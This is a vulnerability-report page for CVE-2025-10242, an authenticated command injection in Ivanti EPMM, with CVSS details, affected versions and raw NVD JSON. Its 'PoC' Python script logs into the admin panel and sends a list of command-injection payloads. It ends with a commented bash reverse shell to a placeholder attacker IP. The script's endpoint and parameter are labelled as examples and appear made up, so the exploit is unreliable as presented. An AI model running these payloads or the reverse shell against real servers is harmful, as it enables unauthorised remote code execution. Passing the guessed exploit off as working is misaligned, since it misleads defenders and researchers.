Security Vulnerability Report
中文
CVE-2025-10242 CVSS 7.2 HIGH

CVE-2025-10242

Published: 2025-10-14 15:16:01
Last Modified: 2025-10-15 18:07:28
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

OS command injection in the admin panel of Ivanti EPMM before version 12.6.0.2, 12.5.0.4, and 12.4.0.4 allows a remote authenticated attacker with admin privileges to achieve remote code execution.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
Ivanti EPMM < 12.4.0.4
Ivanti EPMM 12.5.0.0 - 12.5.0.3
Ivanti EPMM 12.6.0.0 - 12.6.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10242 - Ivanti EPMM OS Command Injection PoC # Vulnerability: OS command injection in admin panel # Affected: Ivanti EPMM < 12.6.0.2, < 12.5.0.4, < 12.4.0.4 # Requirement: Authenticated session with admin privileges import requests from urllib.parse import urljoin TARGET = "https://target-epmm.example.com" ADMIN_USER = "admin" ADMIN_PASS = "password123" # Step 1: Authenticate to the EPMM admin panel session = requests.Session() login_url = urljoin(TARGET, "/mifs/admin/login.jsp") login_data = { "username": ADMIN_USER, "password": ADMIN_PASS } resp = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Locate the vulnerable endpoint in the admin panel # The injection typically occurs in endpoints that pass user input to OS commands # Example vulnerable parameter: hostname, deviceId, file path, etc. vulnerable_endpoint = urljoin(TARGET, "/mifs/admin/commandExecEndpoint") # Step 3: Inject OS command via the vulnerable parameter # Payload examples for command injection: injection_payloads = [ "127.0.0.1; id", "127.0.0.1 && whoami", "127.0.0.1 | uname -a", "$(id)", "`id`" ] for payload in injection_payloads: injection_data = { "targetHost": payload, # Example vulnerable parameter "action": "execute" } resp = session.post(vulnerable_endpoint, data=injection_data, verify=False) print(f"[*] Payload: {payload} -> Response: {resp.status_code}") if "uid=" in resp.text or "root" in resp.text: print(f"[+] Command injection successful!") print(resp.text) break # Step 4: Establish reverse shell for full RCE # reverse_shell_payload = "; bash -i >& /dev/tcp/attacker_ip/4444 0>&1" # Inject the reverse shell payload through the vulnerable endpoint

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10242", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-14T15:16:01.087", "lastModified": "2025-10-15T18:07:28.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS command injection in the admin panel of Ivanti EPMM before version 12.6.0.2, 12.5.0.4, and 12.4.0.4 allows a remote authenticated attacker with admin privileges to achieve remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.0.4", "matchCriteriaId": "14CCB657-0965-4842-B6BD-B7B2890DFB0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0.0", "versionEndExcluding": "12.5.0.4", "matchCriteriaId": "395B1544-0C7B-4883-BA2D-772416DE26E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.6.0.0", "versionEndExcluding": "12.6.0.2", "matchCriteriaId": "A53B20A3-676C-4ED2-B6A7-EEB2B537666C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Endpoint-Manager-Mobile-EPMM-10-2025-Multiple-CVEs?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}